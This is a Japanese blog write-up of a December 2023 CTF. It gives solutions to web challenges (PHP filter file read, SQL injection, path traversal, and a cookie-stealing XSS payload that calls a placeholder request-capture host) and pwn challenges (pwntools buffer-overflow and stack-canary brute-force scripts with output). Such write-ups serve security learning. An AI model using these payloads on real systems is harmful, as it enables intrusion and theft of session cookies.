The Cyber Cooperative CTF Writeup
はじめに
12/15 2:01 ~ 12/18 1:59 に開催されたThe Cyber Cooperative CTFに参加しました。
日曜夜に見かけて、ppbの開発の合間にちょっとだけ解いてみました。
結果は散々でした。
Web
1問しか解けてないです。他にも2問見たんですが、Flagの取得には至らず。
Leaky Site
問題文
Try to get source of main_page.
<?php
if(isset($_GET['resource'])){
include($_GET['resource'] . '.php');
} else {
header("Location: /index.php?resource=main_page");
}
?>
https://thecybercoopctf-leaky-site.chals.io
Writeup
まぁ書いてあるとおりです。
$ curl 'https://thecybercoopctf-leaky-site.chals.io/index.php?resource=main_page'
<!DOCTYPE html>
<html lang="en">
<head>
<title>Main</title>
<link rel="stylesheet" href="https://unpkg.com/@ctfdio/picocss-themes@0.0.3/dist/css/picostrap.min.css">
</head>
<body>
<div class="container my-5">
<h3>There's a flag here but it's in the source code...</h3>
<p>
Can you pull it out?
<pre>
</pre>
PHP is quite weird about filters I hear...
</p>
</div>
</body>
</html>
とのことなので、main_page
を読めば良い。
filterの存在を思い出し、やります。
$ curl 'https://thecybercoopctf-leaky-site.chals.io/index.php?resource=php://filter/convert.base64-encode/resource=main_page' 2>/dev/null | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
<title>Main</title>
<link rel="stylesheet" href="https://unpkg.com/@ctfdio/picocss-themes@0.0.3/dist/css/picostrap.min.css">
</head>
<body>
<div class="container my-5">
<h3>There's a flag here but it's in the source code...</h3>
<p>
Can you pull it out?
<pre>
<?php // "flag{0h_n0_php_y0ur_l3aking_4ll_0ver}" ?>
</pre>
PHP is quite weird about filters I hear...
</p>
</div>
</body>
</html>
はい。
inbox
問題文
I heard this email server has two halves of a whole flag in it!
https://thecybercoopctf-inbox.chals.io
挑戦
普通にSQLiができたので、' UNION SELECT * from flag ;--
とかやってみたんですが、エラーでした。
Upsolve
よく見たらメールアドレスだけじゃなくてIDも取ってるので、それに合わせる
'UNION SELECT 1, * from flags ;--
flag{off_to_a_good_start_
なるほどまだあるのか
テーブルを列挙してもそれっぽいのが無いので、他を探すとメール表示でLFIできた
$ curl 'https://thecybercoopctf-inbox.chals.io/mail/alice@fakeinbox.com/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fusr%2Fsrc%2Fapp%2Fflag%2Etxt'
even_better_finish_though}%
grayboard
問題文
My homework for my web design class is really bad but I don’t know what to do. I really need to pass this class, can you help me?
https://thecybercoopctf-grayboard.chals.io
挑戦
なるほどXSSねという感じで、pipedreamを用意。
<img src=x onerror="fetch('https://PIPEDREAM_URL/?'+document.cookie)">
でadminのCookieを取得し、adminでログインしてみるも、特に何もない。なんそれ
嫌になってPwnへ
Upsolve
いやわからん。admin取ったんだから勝ちだろ。
Pwn(Exploitation)
crashme
問題文
Can you make this program crash?
nc 0.cloud.chals.io 17289
Writeup
まぁ言われた通りセグフォさせるだけです。aいっぱい入れます。
#!/usr/bin/env python3
from pwn import *
binfile = 'crashme'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('0.cloud.chals.io', 17289)
payload = b'a' * 0x40
io.sendlineafter(b': ', payload)
io.interactive()
$ ./solve.py
You entered aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
flag{segfaults_a_hackers_best_friend}
medbuf
問題文
a little harder this time
nc 0.cloud.chals.io 27380
Writeup
普通にBOF
#!/usr/bin/env python3
from pwn import *
binfile = './medbof'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('0.cloud.chals.io', 27380)
pad = b'a' * 0x28
system = pack(e.sym['do_system'])
payload = pad + system
io.sendlineafter(b'time', payload)
io.interactive()
$ ./solve.py
$ cat flag.txt
flag{getting_better_at_hacking_binaries_i_see...}
8^256
問題文
Hello, welcome to my little forking binary I made it special just for you I hope you don’t disappoint me.
nc 0.cloud.chals.io 27190
Writeup
canaryかな? と思ったらcanaryでした。
[0x08048520]> pdg @main
void main(void)
{
uchar *puVar1;
int32_t in_GS_OFFSET;
uint uStackY52;
uint uStack36;
uchar auStack32 [4];
uchar auStack28 [4];
int32_t wstatus;
uint pid;
uint var_ch;
uchar *puStack12;
puStack12 = &stack0x00000004;
pid = *(in_GS_OFFSET + 0x14);
sym.imp.puts("Hello, welcome to my little forking binary");
sym.imp.puts("I made it special just for you");
sym.imp.puts("I hope you don\'t disappoint me.");
puVar1 = &stack0xffffffe0;
do {
*(puVar1 + -4) = 0x8048789;
wstatus = sym.imp.fork();
if (wstatus == 0) {
*(puVar1 + -0x10) = "\nForked proccess...";
*(puVar1 + -0x14) = 0x804879f;
sym.imp.puts();
*(puVar1 + -4) = 0x80487a7;
sym.handle();
*(puVar1 + -0x10) = "... and exited successfully!";
*(puVar1 + -0x14) = 0x80487b4;
sym.imp.puts();
*(puVar1 + -0x10) = 0;
*(puVar1 + -0x14) = 0x80487c1;
sym.imp._exit();
puVar1 = puVar1 + -0x10;
}
*(puVar1 + -8) = 0;
*(puVar1 + -0xc) = &stack0xffffffe4;
*(puVar1 + -0x10) = wstatus;
*(puVar1 + -0x14) = 0x80487d2;
sym.imp.waitpid();
} while( true );
}
[0x08048520]> pdg @sym.handle
void sym.handle(void)
{
int32_t iVar1;
uint uVar2;
int32_t in_GS_OFFSET;
uint var_98h;
uint var_94h;
uint var_90h;
uint str;
int32_t canary;
canary = *(in_GS_OFFSET + 0x14);
sym.imp.puts("I am the forked process!");
sym.imp.puts("How much data would you like to read?");
iVar1 = sym.imp.read(0, &str, 0x7f);
*(&str + iVar1 + 1) = 0;
uVar2 = sym.imp.atoi(&str);
sym.imp.memset(&str, 0, 0x80);
sym.imp.printf("Give me %d bytes of data\n", uVar2);
sym.imp.read(0, &str, uVar2);
do {
iVar1 = sym.imp.getchar();
if (iVar1 == 10) break;
} while (iVar1 != -1);
sym.imp.puts("Exiting...");
if (canary != *(in_GS_OFFSET + 0x14)) {
sym.imp.__stack_chk_fail();
}
return;
}
こんな感じなので、forkされたプロセスの終了状態によって特定できます。時間がかかるのでここで終了。
#!/usr/bin/env python3
from pwn import *
binfile = './canary'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('0.cloud.chals.io', 27190)
canary = b'\x00'
while len(canary) != 8:
print('Canary Length: ' + str(len(canary)))
for j in range(256):
if j == 10:
continue
payload = b'a' * 0x80 + canary + bytes([j])
print('\tTrying: ', end='')
print(canary + bytes([j]))
io.sendlineafter(b'read?', bytes(str(len(payload)), 'utf-8'))
io.sendlineafter(b'data',payload)
io.recvuntil(b'Exiting...')
line = io.recvuntil(b'Forked proccess...\n')
if b'successfully!' in line:
canary += bytes([j])
print('\tFound: ', end='')
print(canary)
break
if j == 255:
print('\tFailed')
exit()
payload = (b'a' * 0x80) + canary + (b'b'*8) + pack(e.sym['give_shell'])
io.sendlineafter(b'read?', bytes(str(len(payload)), 'utf-8'))
io.sendlineafter(b'data',payload)
io.sendline(b'echo shell')
io.sendlineafter(b'shell', b'cat flag.txt')
print(io.readline().decode(), end='')
io.interactive()
$ ./solve.py
Canary Length: 0
Trying: b'\x00'
Found: b'\x00'
Canary Length: 1
Trying: b'\x00\x00'
Trying: b'\x00\x01'
Trying: b'\x00\x02'
Trying: b'\x00\x03'
Trying: b'\x00\x04'
Trying: b'\x00\x05'
Trying: b'\x00\x06'
Trying: b'\x00\x07'
Trying: b'\x00\x08'
Trying: b'\x00\t'
Trying: b'\x00\x0b'
Trying: b'\x00\x0c'
Trying: b'\x00\r'
Trying: b'\x00\x0e'
Trying: b'\x00\x0f'
Trying: b'\x00\x10'
Trying: b'\x00\x11'
Trying: b'\x00\x12'
Trying: b'\x00\x13'
Trying: b'\x00\x14'
Trying: b'\x00\x15'
Trying: b'\x00\x16'
Trying: b'\x00\x17'
Trying: b'\x00\x18'
Trying: b'\x00\x19'
Trying: b'\x00\x1a'
Trying: b'\x00\x1b'
Trying: b'\x00\x1c'
Trying: b'\x00\x1d'
Trying: b'\x00\x1e'
Trying: b'\x00\x1f'
Trying: b'\x00 '
Trying: b'\x00!'
Trying: b'\x00"'
Trying: b'\x00#'
Trying: b'\x00$'
Trying: b'\x00%'
Trying: b'\x00&'
Trying: b"\x00'"
Trying: b'\x00('
Trying: b'\x00)'
Trying: b'\x00*'
Trying: b'\x00+'
Trying: b'\x00,'
Trying: b'\x00-'
Trying: b'\x00.'
Trying: b'\x00/'
Trying: b'\x000'
Trying: b'\x001'
Trying: b'\x002'
Trying: b'\x003'
Trying: b'\x004'
Trying: b'\x005'
Trying: b'\x006'
Trying: b'\x007'
Trying: b'\x008'
Trying: b'\x009'
Trying: b'\x00:'
Trying: b'\x00;'
Trying: b'\x00<'
Trying: b'\x00='
Trying: b'\x00>'
Trying: b'\x00?'
Trying: b'\x00@'
Trying: b'\x00A'
Trying: b'\x00B'
Trying: b'\x00C'
Trying: b'\x00D'
Trying: b'\x00E'
Trying: b'\x00F'
Trying: b'\x00G'
Trying: b'\x00H'
Trying: b'\x00I'
Trying: b'\x00J'
Trying: b'\x00K'
Trying: b'\x00L'
Trying: b'\x00M'
Trying: b'\x00N'
Trying: b'\x00O'
Trying: b'\x00P'
Trying: b'\x00Q'
Trying: b'\x00R'
Trying: b'\x00S'
Trying: b'\x00T'
Trying: b'\x00U'
Trying: b'\x00V'
Trying: b'\x00W'
Trying: b'\x00X'
Trying: b'\x00Y'
Trying: b'\x00Z'
Trying: b'\x00['
Trying: b'\x00\\'
Trying: b'\x00]'
Trying: b'\x00^'
Trying: b'\x00_'
Trying: b'\x00`'
Trying: b'\x00a'
Trying: b'\x00b'
Trying: b'\x00c'
Trying: b'\x00d'
Trying: b'\x00e'
Trying: b'\x00f'
Trying: b'\x00g'
Trying: b'\x00h'
Trying: b'\x00i'
Trying: b'\x00j'
Trying: b'\x00k'
Trying: b'\x00l'
Trying: b'\x00m'
Trying: b'\x00n'
Trying: b'\x00o'
Trying: b'\x00p'
Trying: b'\x00q'
Trying: b'\x00r'
Trying: b'\x00s'
Trying: b'\x00t'
Trying: b'\x00u'
Trying: b'\x00v'
Trying: b'\x00w'
Trying: b'\x00x'
Trying: b'\x00y'
Trying: b'\x00z'
Trying: b'\x00{'
Trying: b'\x00|'
Trying: b'\x00}'
Trying: b'\x00~'
Trying: b'\x00\x7f'
Trying: b'\x00\x80'
Trying: b'\x00\x81'
Trying: b'\x00\x82'
Trying: b'\x00\x83'
Trying: b'\x00\x84'
Trying: b'\x00\x85'
Trying: b'\x00\x86'
Trying: b'\x00\x87'
Trying: b'\x00\x88'
Trying: b'\x00\x89'
Trying: b'\x00\x8a'
Trying: b'\x00\x8b'
Trying: b'\x00\x8c'
Trying: b'\x00\x8d'
Trying: b'\x00\x8e'
Trying: b'\x00\x8f'
Trying: b'\x00\x90'
Trying: b'\x00\x91'
Trying: b'\x00\x92'
Trying: b'\x00\x93'
Trying: b'\x00\x94'
Trying: b'\x00\x95'
Trying: b'\x00\x96'
Trying: b'\x00\x97'
Trying: b'\x00\x98'
Trying: b'\x00\x99'
Trying: b'\x00\x9a'
Trying: b'\x00\x9b'
Trying: b'\x00\x9c'
Trying: b'\x00\x9d'
Trying: b'\x00\x9e'
Trying: b'\x00\x9f'
Trying: b'\x00\xa0'
Trying: b'\x00\xa1'
Trying: b'\x00\xa2'
Trying: b'\x00\xa3'
Trying: b'\x00\xa4'
Trying: b'\x00\xa5'
Trying: b'\x00\xa6'
Trying: b'\x00\xa7'
Trying: b'\x00\xa8'
Trying: b'\x00\xa9'
Trying: b'\x00\xaa'
Trying: b'\x00\xab'
Trying: b'\x00\xac'
Trying: b'\x00\xad'
Trying: b'\x00\xae'
Trying: b'\x00\xaf'
Found: b'\x00\xaf'
Canary Length: 2
Trying: b'\x00\xaf\x00'
Trying: b'\x00\xaf\x01'
Trying: b'\x00\xaf\x02'
Trying: b'\x00\xaf\x03'
Trying: b'\x00\xaf\x04'
Trying: b'\x00\xaf\x05'
Trying: b'\x00\xaf\x06'
Trying: b'\x00\xaf\x07'
Trying: b'\x00\xaf\x08'
Trying: b'\x00\xaf\t'
Trying: b'\x00\xaf\x0b'
Trying: b'\x00\xaf\x0c'
Trying: b'\x00\xaf\r'
Trying: b'\x00\xaf\x0e'
Trying: b'\x00\xaf\x0f'
Trying: b'\x00\xaf\x10'
Trying: b'\x00\xaf\x11'
Trying: b'\x00\xaf\x12'
Trying: b'\x00\xaf\x13'
Trying: b'\x00\xaf\x14'
Found: b'\x00\xaf\x14'
Canary Length: 3
Trying: b'\x00\xaf\x14\x00'
Trying: b'\x00\xaf\x14\x01'
Trying: b'\x00\xaf\x14\x02'
Trying: b'\x00\xaf\x14\x03'
Trying: b'\x00\xaf\x14\x04'
Trying: b'\x00\xaf\x14\x05'
Trying: b'\x00\xaf\x14\x06'
Trying: b'\x00\xaf\x14\x07'
Trying: b'\x00\xaf\x14\x08'
Trying: b'\x00\xaf\x14\t'
Trying: b'\x00\xaf\x14\x0b'
Trying: b'\x00\xaf\x14\x0c'
Trying: b'\x00\xaf\x14\r'
Trying: b'\x00\xaf\x14\x0e'
Trying: b'\x00\xaf\x14\x0f'
Trying: b'\x00\xaf\x14\x10'
Trying: b'\x00\xaf\x14\x11'
Trying: b'\x00\xaf\x14\x12'
Trying: b'\x00\xaf\x14\x13'
Trying: b'\x00\xaf\x14\x14'
Trying: b'\x00\xaf\x14\x15'
Trying: b'\x00\xaf\x14\x16'
Trying: b'\x00\xaf\x14\x17'
Trying: b'\x00\xaf\x14\x18'
Trying: b'\x00\xaf\x14\x19'
Trying: b'\x00\xaf\x14\x1a'
Trying: b'\x00\xaf\x14\x1b'
Trying: b'\x00\xaf\x14\x1c'
Trying: b'\x00\xaf\x14\x1d'
Trying: b'\x00\xaf\x14\x1e'
Trying: b'\x00\xaf\x14\x1f'
Trying: b'\x00\xaf\x14 '
Trying: b'\x00\xaf\x14!'
Trying: b'\x00\xaf\x14"'
Trying: b'\x00\xaf\x14#'
Trying: b'\x00\xaf\x14$'
Trying: b'\x00\xaf\x14%'
Trying: b'\x00\xaf\x14&'
Trying: b"\x00\xaf\x14'"
Trying: b'\x00\xaf\x14('
Trying: b'\x00\xaf\x14)'
Trying: b'\x00\xaf\x14*'
Trying: b'\x00\xaf\x14+'
Trying: b'\x00\xaf\x14,'
Trying: b'\x00\xaf\x14-'
Trying: b'\x00\xaf\x14.'
Trying: b'\x00\xaf\x14/'
Trying: b'\x00\xaf\x140'
Trying: b'\x00\xaf\x141'
Trying: b'\x00\xaf\x142'
Trying: b'\x00\xaf\x143'
Trying: b'\x00\xaf\x144'
Trying: b'\x00\xaf\x145'
Trying: b'\x00\xaf\x146'
Trying: b'\x00\xaf\x147'
Trying: b'\x00\xaf\x148'
Trying: b'\x00\xaf\x149'
Trying: b'\x00\xaf\x14:'
Trying: b'\x00\xaf\x14;'
Trying: b'\x00\xaf\x14<'
Trying: b'\x00\xaf\x14='
Trying: b'\x00\xaf\x14>'
Trying: b'\x00\xaf\x14?'
Trying: b'\x00\xaf\x14@'
Trying: b'\x00\xaf\x14A'
Trying: b'\x00\xaf\x14B'
Trying: b'\x00\xaf\x14C'
Trying: b'\x00\xaf\x14D'
Trying: b'\x00\xaf\x14E'
Trying: b'\x00\xaf\x14F'
Trying: b'\x00\xaf\x14G'
Trying: b'\x00\xaf\x14H'
Trying: b'\x00\xaf\x14I'
Trying: b'\x00\xaf\x14J'
Trying: b'\x00\xaf\x14K'
Trying: b'\x00\xaf\x14L'
Trying: b'\x00\xaf\x14M'
Trying: b'\x00\xaf\x14N'
Trying: b'\x00\xaf\x14O'
Trying: b'\x00\xaf\x14P'
Trying: b'\x00\xaf\x14Q'
Trying: b'\x00\xaf\x14R'
Trying: b'\x00\xaf\x14S'
Trying: b'\x00\xaf\x14T'
Trying: b'\x00\xaf\x14U'
Trying: b'\x00\xaf\x14V'
Trying: b'\x00\xaf\x14W'
Trying: b'\x00\xaf\x14X'
Trying: b'\x00\xaf\x14Y'
Trying: b'\x00\xaf\x14Z'
Trying: b'\x00\xaf\x14['
Trying: b'\x00\xaf\x14\\'
Trying: b'\x00\xaf\x14]'
Trying: b'\x00\xaf\x14^'
Trying: b'\x00\xaf\x14_'
Trying: b'\x00\xaf\x14`'
Trying: b'\x00\xaf\x14a'
Trying: b'\x00\xaf\x14b'
Trying: b'\x00\xaf\x14c'
Trying: b'\x00\xaf\x14d'
Trying: b'\x00\xaf\x14e'
Trying: b'\x00\xaf\x14f'
Trying: b'\x00\xaf\x14g'
Trying: b'\x00\xaf\x14h'
Trying: b'\x00\xaf\x14i'
Trying: b'\x00\xaf\x14j'
Trying: b'\x00\xaf\x14k'
Trying: b'\x00\xaf\x14l'
Trying: b'\x00\xaf\x14m'
Trying: b'\x00\xaf\x14n'
Trying: b'\x00\xaf\x14o'
Trying: b'\x00\xaf\x14p'
Trying: b'\x00\xaf\x14q'
Trying: b'\x00\xaf\x14r'
Trying: b'\x00\xaf\x14s'
Trying: b'\x00\xaf\x14t'
Trying: b'\x00\xaf\x14u'
Trying: b'\x00\xaf\x14v'
Trying: b'\x00\xaf\x14w'
Trying: b'\x00\xaf\x14x'
Trying: b'\x00\xaf\x14y'
Trying: b'\x00\xaf\x14z'
Trying: b'\x00\xaf\x14{'
Trying: b'\x00\xaf\x14|'
Trying: b'\x00\xaf\x14}'
Trying: b'\x00\xaf\x14~'
Trying: b'\x00\xaf\x14\x7f'
Trying: b'\x00\xaf\x14\x80'
Trying: b'\x00\xaf\x14\x81'
Trying: b'\x00\xaf\x14\x82'
Trying: b'\x00\xaf\x14\x83'
Trying: b'\x00\xaf\x14\x84'
Trying: b'\x00\xaf\x14\x85'
Trying: b'\x00\xaf\x14\x86'
Trying: b'\x00\xaf\x14\x87'
Trying: b'\x00\xaf\x14\x88'
Trying: b'\x00\xaf\x14\x89'
Trying: b'\x00\xaf\x14\x8a'
Trying: b'\x00\xaf\x14\x8b'
Trying: b'\x00\xaf\x14\x8c'
Trying: b'\x00\xaf\x14\x8d'
Trying: b'\x00\xaf\x14\x8e'
Trying: b'\x00\xaf\x14\x8f'
Trying: b'\x00\xaf\x14\x90'
Trying: b'\x00\xaf\x14\x91'
Trying: b'\x00\xaf\x14\x92'
Trying: b'\x00\xaf\x14\x93'
Trying: b'\x00\xaf\x14\x94'
Trying: b'\x00\xaf\x14\x95'
Trying: b'\x00\xaf\x14\x96'
Trying: b'\x00\xaf\x14\x97'
Trying: b'\x00\xaf\x14\x98'
Trying: b'\x00\xaf\x14\x99'
Trying: b'\x00\xaf\x14\x9a'
Trying: b'\x00\xaf\x14\x9b'
Trying: b'\x00\xaf\x14\x9c'
Trying: b'\x00\xaf\x14\x9d'
Trying: b'\x00\xaf\x14\x9e'
Trying: b'\x00\xaf\x14\x9f'
Trying: b'\x00\xaf\x14\xa0'
Trying: b'\x00\xaf\x14\xa1'
Trying: b'\x00\xaf\x14\xa2'
Trying: b'\x00\xaf\x14\xa3'
Trying: b'\x00\xaf\x14\xa4'
Trying: b'\x00\xaf\x14\xa5'
Trying: b'\x00\xaf\x14\xa6'
Trying: b'\x00\xaf\x14\xa7'
Trying: b'\x00\xaf\x14\xa8'
Trying: b'\x00\xaf\x14\xa9'
Trying: b'\x00\xaf\x14\xaa'
Trying: b'\x00\xaf\x14\xab'
Trying: b'\x00\xaf\x14\xac'
Trying: b'\x00\xaf\x14\xad'
Trying: b'\x00\xaf\x14\xae'
Trying: b'\x00\xaf\x14\xaf'
Trying: b'\x00\xaf\x14\xb0'
Trying: b'\x00\xaf\x14\xb1'
Trying: b'\x00\xaf\x14\xb2'
Trying: b'\x00\xaf\x14\xb3'
Trying: b'\x00\xaf\x14\xb4'
Trying: b'\x00\xaf\x14\xb5'
Trying: b'\x00\xaf\x14\xb6'
Trying: b'\x00\xaf\x14\xb7'
Trying: b'\x00\xaf\x14\xb8'
Trying: b'\x00\xaf\x14\xb9'
Trying: b'\x00\xaf\x14\xba'
Trying: b'\x00\xaf\x14\xbb'
Trying: b'\x00\xaf\x14\xbc'
Trying: b'\x00\xaf\x14\xbd'
Trying: b'\x00\xaf\x14\xbe'
Trying: b'\x00\xaf\x14\xbf'
Trying: b'\x00\xaf\x14\xc0'
Trying: b'\x00\xaf\x14\xc1'
Trying: b'\x00\xaf\x14\xc2'
Trying: b'\x00\xaf\x14\xc3'
Trying: b'\x00\xaf\x14\xc4'
Trying: b'\x00\xaf\x14\xc5'
Trying: b'\x00\xaf\x14\xc6'
Trying: b'\x00\xaf\x14\xc7'
Trying: b'\x00\xaf\x14\xc8'
Trying: b'\x00\xaf\x14\xc9'
Trying: b'\x00\xaf\x14\xca'
Trying: b'\x00\xaf\x14\xcb'
Trying: b'\x00\xaf\x14\xcc'
Trying: b'\x00\xaf\x14\xcd'
Trying: b'\x00\xaf\x14\xce'
Trying: b'\x00\xaf\x14\xcf'
Trying: b'\x00\xaf\x14\xd0'
Trying: b'\x00\xaf\x14\xd1'
Found: b'\x00\xaf\x14\xd1'
Canary Length: 4
Trying: b'\x00\xaf\x14\xd1\x00'
Found: b'\x00\xaf\x14\xd1\x00'
Canary Length: 5
Trying: b'\x00\xaf\x14\xd1\x00\x00'
Found: b'\x00\xaf\x14\xd1\x00\x00'
Canary Length: 6
Trying: b'\x00\xaf\x14\xd1\x00\x00\x00'
Found: b'\x00\xaf\x14\xd1\x00\x00\x00'
Canary Length: 7
Trying: b'\x00\xaf\x14\xd1\x00\x00\x00\x00'
Found: b'\x00\xaf\x14\xd1\x00\x00\x00\x00'
$ flag{but_is_it_cookie_or_canary_though}
Stumped
問題文
Michael’s computer science project shows the structure of tar files. It is using the tree command on the backend, and something just doesn’t seem right…
from flask import Flask, render_template, request, flash, redirect, current_app
from werkzeug.utils import secure_filename
from tempfile import mkdtemp, mkstemp
from os import path, remove, system
import tarfile
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
app_path = "/opt/app/"
@app.route("/")
def tree():
return render_template("tree.html")
@app.route("/show_tree", methods=["GET", "POST"])
def show_tree():
if request.method == "POST":
if "file" not in request.files:
return "error: file upload failed."
submission = request.files["file"]
if submission.filename == "":
return "error: did not receive file"
# get a temporary directory for the submission
tmp_dir = mkdtemp(dir=app_path + "trees")
# get a temporary file for the html
_, html_out = mkstemp(dir=app_path + "static/tree_html", suffix=".html")
# save the submission to the temporary directory
secure_path = path.join(tmp_dir, secure_filename(submission.filename))
submission.save(secure_path)
# try to extract the submission
try:
archive = tarfile.open(secure_path)
archive.extractall(path=tmp_dir)
archive.close()
except tarfile.ReadError:
return "error: could not open tar file"
# remove the archive
remove(secure_path)
# call tree on the extracted archive
system(
f"cd {tmp_dir} && tree -R -L 3 -H . --nolinks -o {html_out} && rm -rf {tmp_dir}"
)
return current_app.send_static_file(f"tree_html/{path.basename(html_out)}")
Upsolve
まぁ自明にzip slipなんですが、ファイルをどう特定すんねん。となり放置しました。uuid4でいいらしい
総括
いい息抜きになりました。
おわりに
この記事はn01e0 Advent Calendar 2023の18日目の記事です。
明日はあるかわかりません
また、IPFactory OB Advent Calendar 2023の18日目の記事も兼ねています。
Comments